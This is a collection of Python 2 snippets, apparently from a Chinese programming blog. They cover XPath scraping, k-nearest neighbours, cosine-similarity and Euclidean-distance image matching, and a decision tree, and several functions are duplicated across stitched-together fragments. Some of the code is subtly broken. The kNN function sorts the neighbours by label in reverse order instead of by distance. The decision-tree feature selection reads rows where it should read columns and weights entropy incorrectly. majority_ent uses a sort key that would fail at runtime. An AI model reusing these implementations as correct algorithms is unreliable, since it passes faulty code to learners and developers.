知一杂谈

#! /usr/bin/python
# -*- coding:utf-8 -*-
"""
@author: abc
@file: xpath_demo.py
@date: 2017-02-04
"""
__author__ = "abc"

import lxml.html

import requests


if __name__ == "__main__":
    url = "http://noogel.xyz"
    res = requests.get(url)
    doc = lxml.html.document_fromstring(res.content)
    title_xpath = ".//header[@id='header']//a[@class='brand']/span[@class='site-title']"
    print doc.xpath(title_xpath)[0].text

#! /data/server/python/bin/python
# -*- coding:utf-8 -*-
"""
k-近邻算法
"""
import math
import operator
from collections import Counter


def knn(position, data_set, labels, k):
    """
    k-近邻算法
    :param position: 待分类点
    :param data_set: 数据样本
    :param labels: 标签集合
    :param k: 取值
    :return: 所属标签
    """
    distance_list = []
    for index, item in enumerate(data_set):
        distance_list.append((
            labels[index],
            math.sqrt(reduce(operator.add, [(v - position[i]) ** 2 for i, v in enumerate(item)]))
        ))
    distance_list = sorted(distance_list, key=lambda x: x, reverse=True)
    result = Counter([val[0] for val in distance_list[:k]])
    result_labels = sorted(result.items(), lambda x, y: cmp(x[1], y[1]), reverse=True)
    return result_labels[0][0]


if __name__ == "__main__":
    point = [0.2, 0.3]
    data_set = [[1, 1.1], [1, 1], [0, 0], [0, 0.1]]
    labels = ['A', 'A', 'B', 'B']
    k = 3
    print knn(point, data_set, labels, k)

#! /usr/bin/python
# -*- coding:utf-8 -*-
"""
@author: abc
@file: euclidean_distance.py
@date: 2016-12-09
@desc: 余弦相似度
"""
__author__ = "abc"

import cv2
import numpy as np

w_fg = 20
h_fg = 15
pic_flag = 3


def read_pic(fn):
    """
    read_pic
    :param fn:
    :return:
    """
    fnimg = cv2.imread(fn)
    img = cv2.resize(fnimg, (800, 600), interpolation=cv2.INTER_AREA)
    w = img.shape[1]
    h = img.shape[0]
    w_interval = w / w_fg
    h_interval = h / h_fg

    alltz = []
    alltz.append([])
    alltz.append([])
    alltz.append([])

    for now_h in xrange(0, h, h_interval):
        for now_w in xrange(0, w, w_interval):
            b = img[now_h:now_h + h_interval, now_w:now_w + w_interval, 0]
            g = img[now_h:now_h + h_interval, now_w:now_w + w_interval, 1]
            r = img[now_h:now_h + h_interval, now_w:now_w + w_interval, 2]
            btz = np.mean(b)
            gtz = np.mean(g)
            rtz = np.mean(r)

            alltz[0].append(btz)
            alltz[1].append(gtz)
            alltz[2].append(rtz)

    return alltz


def get_cossimi(x, y):
    """
    get_cossimi
    :param x:
    :param y:
    :return:
    """
    myx = np.array(x)
    myy = np.array(y)
    cos1 = np.sum(myx * myy)
    cos21 = np.sqrt(sum(myx * myx))
    cos22 = np.sqrt(sum(myy * myy))
    return cos1 / float(cos21 * cos22)


if __name__ == "__main__":
    # 提取特征
    train_x = []
    d = []

    for ii in xrange(1, pic_flag + 1):
        smp_x = []
        b_tz = np.array([0, 0, 0])
        g_tz = np.array([0, 0, 0])
        r_tz = np.array([0, 0, 0])
        mytz = np.zeros((3, w_fg * h_fg))
        for jj in xrange(1, 3):
            fn = '/home/abc/Projects/machine_learning/img/base/p' + str(ii) + '-' + str(jj) + '.jpg'
            print fn
            tmptz = read_pic(fn)
            mytz += np.array(tmptz)
        mytz /= 3
        train_x.append(mytz[0].tolist() + mytz[1].tolist() + mytz[2].tolist())

    for index in xrange(1, 5):
        fn = '/home/abc/Projects/machine_learning/img/base/test{}.jpg'.format(index)
        testtz = np.array(read_pic(fn))
        simtz = testtz[0].tolist() + testtz[1].tolist() + testtz[2].tolist()
        maxtz = 0
        nowi = 0

        for i in xrange(pic_flag):
            nowsim = get_cossimi(train_x[i], simtz)
            if nowsim > maxtz:
                maxtz = nowsim
                nowi = i

        print '%s属于第%d类' % (fn, nowi + 1)

def get_euclidean_distance(x, y):
    """
    计算欧氏距离
    :param x:
    :param y:
    :return:
    """
    myx = np.array(x)
    myy = np.array(y)
    return np.sqrt(np.sum((myx - myy) * (myx - myy)))

#! /usr/bin/python
# -*- coding:utf-8 -*-
"""
@author: abc
@file: euclidean_distance.py
@date: 2016-12-09
@desc: 欧氏距离
"""
__author__ = "abc"

import cv2
import numpy as np


def get_euclidean_distance(x, y):
    """
    计算欧氏距离
    :param x:
    :param y:
    :return:
    """
    myx = np.array(x)
    myy = np.array(y)
    return np.sqrt(np.sum((myx - myy) * (myx - myy)))


def handle_img(imgpath):
    """
    handle_img
    :param imgpath:
    :return:
    """
    myimg1 = cv2.imread(imgpath)

    cv2.namedWindow('img1')
    cv2.imshow('img1', myimg1)
    cv2.waitKey()
    cv2.destroyAllWindows()

    w = myimg1.shape[1]
    h = myimg1.shape[0]

    sz1 = w
    sz0 = h

    flag = 16

    myimg2 = np.zeros((sz0, sz1, 3), np.uint8)
    black = np.array([0, 0, 0])
    white = np.array([255, 255, 255])
    centercolor = np.array([125, 125, 125])
    for y in xrange(sz0 - 1):
        for x in xrange(sz1 - 1):
            myhere = myimg1[y, x, :]
            mydown = myimg1[y + 1, x, :]
            myright = myimg1[y, x + 1, :]

            lmyhere = myhere
            lmyright = myright
            lmydown = mydown

            if get_euclidean_distance(lmyhere, lmydown) > flag and get_euclidean_distance(lmyhere, lmyright) > flag:
                myimg2[y, x, :] = black
            elif get_euclidean_distance(lmyhere, lmydown) <= flag and get_euclidean_distance(lmyhere, lmyright) <= flag:
                myimg2[y, x, :] = white
            else:
                myimg2[y, x, :] = centercolor

    cv2.namedWindow('img2')
    cv2.imshow('img2', myimg2)
    cv2.waitKey()
    cv2.destroyAllWindows()


if __name__ == "__main__":
    imgpath = "/home/abc/Projects/machine_learning/img/test4.png"
    handle_img(imgpath)

def show_pic_location(img, findimg):
    """
    show_pic_location
    :param img:
    :param findimg:
    :return:
    """
    w = img.shape[1]
    h = img.shape[0]
    fw = findimg.shape[1]
    fh = findimg.shape[0]
    findpt = None
    for now_h in xrange(h - fh):
        for now_w in xrange(w - fw):
            comp_tz = img[now_h:now_h + fh, now_w: now_w + fw, :] - findimg
            if np.sum(comp_tz) < 1:
                findpt = now_w, now_h
    if findpt is not None:
        cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (255, 0, 0))
    return img
    

def show_pic_location(img, findimg):
    """
    show_pic_location
    :param img:
    :param findimg:
    :return:
    """
    w = img.shape[1]
    h = img.shape[0]
    fw = findimg.shape[1]
    fh = findimg.shape[0]
    findpt = None
    for now_h in xrange(h - fh):
        for now_w in xrange(w - fw):
            comp_tz = img[now_h:now_h + fh, now_w: now_w + fw, :] - findimg
            if abs(np.mean(comp_tz)) < 20:
                findpt = now_w, now_h
    if findpt is not None:
        cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (255, 0, 0))
    return img

def show_pic_location(img, findimg):
    """
    show_pic_location
    :param img:
    :param findimg:
    :return:
    """
    w = img.shape[1]
    h = img.shape[0]
    fw = findimg.shape[1]
    fh = findimg.shape[0]

    minds = 1e8
    mincb_h = 0
    mincb_w = 0

    for now_h in xrange(h - fh):
        for now_w in xrange(w - fw):
            my_img = img[now_h:now_h + fh, now_w: now_w + fw, :]
            my_findimg = findimg
            myx = np.array(my_img)
            myy = np.array(my_findimg)
            dis = np.sqrt(np.sum((myx - myy) * (myx - myy)))
            if dis < minds:
                mincb_h = now_h
                mincb_w = now_w
                minds = dis
                print mincb_h, mincb_w, minds

    findpt = mincb_w, mincb_h
    cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (0, 0, 255))
    return img
    

def add_noise(img):
    """
    add_noise
    :param img:
    :return:
    """
    count = 50000
    for k in xrange(count):
        xi = int(np.random.uniform(0, img.shape[1]))
        xj = int(np.random.uniform(0, img.shape[0]))
        img[xj, xi, 0] = 255 * np.random.rand()
        img[xj, xi, 1] = 255 * np.random.rand()
        img[xj, xi, 2] = 255 * np.random.rand()
    

#! /usr/bin/python
# -*- coding:utf-8 -*-
"""
@author: abc
@file: euclidean_distance.py
@date: 2016-12-09
@desc: 欧式距离匹配
"""
__author__ = "abc"

import cv2
import numpy as np


def show_pic_location(img, findimg):
    """
    show_pic_location
    :param img:
    :param findimg:
    :return:
    """
    w = img.shape[1]
    h = img.shape[0]
    fw = findimg.shape[1]
    fh = findimg.shape[0]

    minds = 1e8
    mincb_h = 0
    mincb_w = 0

    for now_h in xrange(h - fh):
        for now_w in xrange(w - fw):
            my_img = img[now_h:now_h + fh, now_w: now_w + fw, :]
            my_findimg = findimg
            dis = get_euclidean_distance(my_img, my_findimg)
            if dis < minds:
                mincb_h = now_h
                mincb_w = now_w
                minds = dis
                print mincb_h, mincb_w, minds

    findpt = mincb_w, mincb_h
    cv2.rectangle(img, findpt, (findpt[0] + fw, findpt[1] + fh), (0, 0, 255))
    return img


def get_euclidean_distance(x, y):
    """
    计算欧氏距离
    :param x:
    :param y:
    :return:
    """
    myx = np.array(x)
    myy = np.array(y)
    return np.sqrt(np.sum((myx - myy) * (myx - myy)))


def add_noise(img):
    """
    add_noise
    :param img:
    :return:
    """
    count = 50000
    for k in xrange(count):
        xi = int(np.random.uniform(0, img.shape[1]))
        xj = int(np.random.uniform(0, img.shape[0]))
        img[xj, xi, 0] = 255 * np.random.rand()
        img[xj, xi, 1] = 255 * np.random.rand()
        img[xj, xi, 2] = 255 * np.random.rand()


def handle_img(imgpath, imgpath1, imgpath2):
    """
    handle_img
    :param imgpath:
    :param imgpath1:
    :param imgpath2:
    :return:
    """
    myimg = cv2.imread(imgpath)
    myimg1 = cv2.imread(imgpath1)
    myimg2 = cv2.imread(imgpath2)

    add_noise(myimg)

    myimg = show_pic_location(myimg, myimg1)
    myimg = show_pic_location(myimg, myimg2)

    cv2.namedWindow('img')
    cv2.imshow('img', myimg)
    cv2.waitKey()
    cv2.destroyAllWindows()


if __name__ == "__main__":
    imgpath = "/home/abc/Projects/machine_learning/img/test_r45.png"
    imgpath1 = "/home/abc/Projects/machine_learning/img/test_1.png"
    imgpath2 = "/home/abc/Projects/machine_learning/img/test_2.png"
    handle_img(imgpath, imgpath1, imgpath2)

#! /data/sever/python/bin/python
# -*- coding:utf-8 -*-
"""
决策树算法
"""
from __future__ import division
import math
import operator
from collections import Counter

__author__ = 'xyz'


def calc_shannon_ent(data_set):
    """
    计算香农熵
    :param data_set:
    :return:
    """
    data_length = len(data_set)
    label_counts = Counter([val[-1] for val in data_set])
    pilog2pi = [val / data_length * math.log(val / data_length, 2) for val in label_counts.itervalues()]
    return - reduce(
        operator.add,
        pilog2pi
    ) if pilog2pi else 0


def split_data_set(data_set, axis, value):
    """
    分割数据集，筛选指定特征下的数据值的集合
    :param data_set: 数据集合
    :param axis: 第几列
    :param value: 筛选的值
    :return: 除去axis列的，并且axis列的值为value的的数据集合
    """
    return [[v for i, v in enumerate(val) if i != axis] for val in data_set if val[axis] == value]


def choose_best_feature_to_split(data_set):
    """
    选择最好的数据集划分方式
    :param data_set: 数据集
    :return: 划分方式最好是第几项
    """
    base_ent = calc_shannon_ent(data_set)
    # 定义最好的信息增益，信息增益最好的那项
    best_info_gain, best_feature = 0.0, -1
    for i in range(len(data_set[0]) - 1):
        unique_value = set(data_set[i])
        child_ent = 0.0
        for val in unique_value:
            child_data_set = split_data_set(data_set, i, val)
            child_ent += (len(data_set) - 1) / len(data_set) * calc_shannon_ent(child_data_set)
        # 信息增益
        info_gain = base_ent - child_ent
        if info_gain > best_info_gain:
            best_info_gain = info_gain
            best_feature = i
    return best_feature


def majority_ent(class_list):
    """
    取出出现次数最多的标签
    :param class_list:
    :return:
    """
    class_count = Counter(class_list)
    sorted_class_count = sorted(class_count.items(), key=lambda x, y: cmp(x[1], y[1]), reverse=True)
    return sorted_class_count[0][0]


def create_tree(data_set, labels):
    """
    创建树
    :param data_set: 数据集
    :param labels: 标签集合
    :return: 决策树
    """
    class_list = [val[-1] for val in data_set]
    if class_list.count(class_list[0]) == len(class_list):
        return class_list[0]
    if len(data_set[0]) == 1:
        return majority_ent(class_list)
    best_feat = choose_best_feature_to_split(data_set)
    best_feat_label = labels[best_feat]
    my_tree = {best_feat_label: {}}
    del labels[best_feat]
    feat_values = [val[best_feat] for val in data_set]
    unique_vals = set(feat_values)
    for value in unique_vals:
        sub_labels = labels[:]
        my_tree[best_feat_label][value] = create_tree(split_data_set(data_set, best_feat, value), sub_labels)
    return my_tree

if __name__ == "__main__":
    data_set = [[1, 1, 'yes'], [1, 1, 'yes'], [1, 0, 'no'], [0, 1, 'no'], [0, 1, 'no']]
    # 计算熵
    print calc_shannon_ent(data_set)
    # 分割数据集
    print split_data_set(data_set, 0, 1)
    # 获取最大信息增益项
    print choose_best_feature_to_split(data_set)
    # 生成决策树
    print create_tree(data_set, ['no surfacing', 'flippers'])